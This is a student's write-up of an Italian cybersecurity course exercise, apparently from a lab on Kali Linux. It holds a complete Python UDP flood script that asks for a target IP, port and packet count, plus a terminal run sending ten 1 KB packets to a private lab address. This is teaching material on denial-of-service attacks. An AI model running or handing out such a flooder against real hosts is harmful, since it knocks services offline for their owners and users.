

## W7D4 - pratica

Giacomo di Giacinto



W7D4 - Pratica PDF

**Esercizio**  
Python per Hacker Pt. 2

### Traccia:

Gli attacchi di tipo DDoS, ovvero Distributed Denial of Services, mirano a saturare le richieste di determinati servizi rendendoli così indisponibili con conseguenti impatti sul business delle aziende.

L'esercizio di oggi è scrivere un programma in Python che simuli un **UDP flood**, ovvero l'**invio** massivo di richieste **UDP** verso una macchina target che è in **ascolto** su una porta UDP **casuale** (nel nostro caso un DoS).

### Requisiti:

- Il programma deve richiedere l'inserimento dell'IP target
- Il programma deve richiedere l'inserimento della porta target
- La grandezza dei pacchetti da inviare è di 1 KB per pacchetto – **Suggerimento**: per costruire il pacchetto da 1KB potete utilizzare il modulo «random» per la generazione di byte casuali.
- Il programma deve chiedere all'utente quanti pacchetti da 1 KB inviare



kali@kali: ~



File Actions Edit View Help

GNU nano 7.2

ddos.py

```
import random
import socket

def UDP_flood():
    dati_da_inviare = random._urandom(1024)
    # while true:
    for x in range(numero_pacchetti):
        s.sendto(dati_da_inviare , target)
        print( "#",x,"- UDP inviato\n")

indirizzo_ip = str(input("inserisci l'indirizzo IP target:"))
porta = int(input("inserisci la porta:"))
numero_pacchetti = int(input("inserisci il numero di pacchetti da inviare:"))

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    target = (str(indirizzo_ip),int(porta))
except:
    s.close()
    print("[!] Error!!!")

UDP_flood()
```

[ Read 22 lines ]

Help	Write Out	Where Is	Cut	Execute	Location
Exit	Read File	Replace	Paste	Justify	Go To Line

kali@kali: ~

File Actions Edit View Help

Home

(kali@kali)-[~]

\$ python ddos.py

inserisci l'indirizzo IP target:192.168.32.101

inserisci la porta:80

inserisci il numero di pacchetti da inviare:10

# 0 - UDP inviato

# 1 - UDP inviato

# 2 - UDP inviato

# 3 - UDP inviato

# 4 - UDP inviato

# 5 - UDP inviato

# 6 - UDP inviato

# 7 - UDP inviato

# 8 - UDP inviato

# 9 - UDP inviato

(kali@kali)-[~]

\$

